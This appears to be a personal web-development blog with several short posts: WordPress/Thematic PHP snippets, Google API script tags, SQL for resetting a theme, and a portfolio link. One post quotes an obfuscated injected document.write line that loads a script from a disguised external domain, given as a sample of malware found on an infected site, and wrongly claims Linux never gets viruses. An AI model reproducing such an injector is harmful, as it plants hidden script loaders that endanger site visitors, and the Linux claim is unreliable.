Another reminder for me
function remove_the_content() {
remove_action(‘thematic_indexloop’, ‘thematic_index_loop’);
}
add_action(‘init’, ‘remove_the_content’);
Another way to do is create a template theme for the static page.
Another Kuantan Blogger
<script type=”text/javascript” src=”http://www.google.com/jsapi?key=???”></script>
<script type=”text/javascript” src=”http://maps.google.com/maps?file=api&v=2&key=???”></script>
<script type=”text/javascript”>
google.load (“jquery”, “1.4.2”, {uncompressed: false});
google.load(“jqueryui”, “1.7.2”, {uncompressed: false});
google.load(“maps”, “2.x”);
</script>
Just a reminder and reference for my self. For IE, any of the first two line code will run perfectly on any browser, excepts for IE, if you use second line, u might will have some problem. The problem will effect on the .load function below. It will leave and error on IE “The object doesnt support this property or method”….
IE Sucks, thanks you….
When it comes when your antivirus shows that your website have been infected by virus, where your webhosting is a linux base server. Then it must have been hacked and the hackers have been put some snipped code that will make your website cant work properly.
Usually it will adding some code at the end of your PHP, ASP, HTML and JS script.
The code snipped looks like this
/*Exception*/ document.write(‘<script src=’+’h^)t&)(t@@&p@:#)#!/!!#/@d)(a))n&#g&&d&)@!a&n^#g(-&c##@&$o#m).@&#n(&&!i&!!k$)(k!)#e(!i$^@@.^$c!^$o@&&#.!j(p().^c!)@l#!$i#@c))@k(
Its not a big issues as linux never have virus. What you need to is just remove these code from all the script infected. The problem is my client web files have been infected about 100 of JS and PHP files. Damn, its not worth it to spend time removing those code from hundreds file!
Luckily i have found a tools that will solve this problems.
Download this tools here [download id=”4″]. Created by Justcoded.com.
Isnt it cool if my blog can seperates all the post into different category and put in their particular pages?
Why i need this? Because i have two interest, Web Development and Photography.
Now i have seperates this blog to two pages, Photo Blog & ICT Blog. Then we can talk more! Hahah!
Add this in function.php
function child_theme_photo_blog() {
if (is_page('Photo Blog')) { // change '48' to the id # of your page
$limit = get_option('posts_per_page');
$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;
//change '4' to you category id # and change the value of $limit to the # of posts you want displayed per page
query_posts('category_name=Photography' . '&showposts=' . $limit=5 . '&paged=' . $paged );
//$wp_query->is_archive = true; $wp_query->is_home = false;
}
}
add_action('thematic_above_indexloop', 'child_theme_photo_blog');
Add this to custom pages e.g
To view current setup, neet to run this
SELECT *
FROM wp_options
WHERE option_name = 'template'
OR option_name = 'stylesheet'
OR option_name = 'current_theme';
To change to default or other setup run this on sql
UPDATE wp_options SET option_value = 'default' WHERE option_name = 'template';
UPDATE wp_options SET option_value = ‘default’ WHERE option_name = ‘stylesheet’;
UPDATE wp_options SET option_value = ‘default’ WHERE option_name = ‘current_theme’;
Another web work. I create this web using HTML, CSS, Jquery. Purely design on Adobe Photoshop and convert it to HTML to customize with css. I add some visual effect on it with jquery.Owh this website created to test 960 grid system.
Visit the website here https://www.ghazalitajuddin.com/webdemo/darkgreen/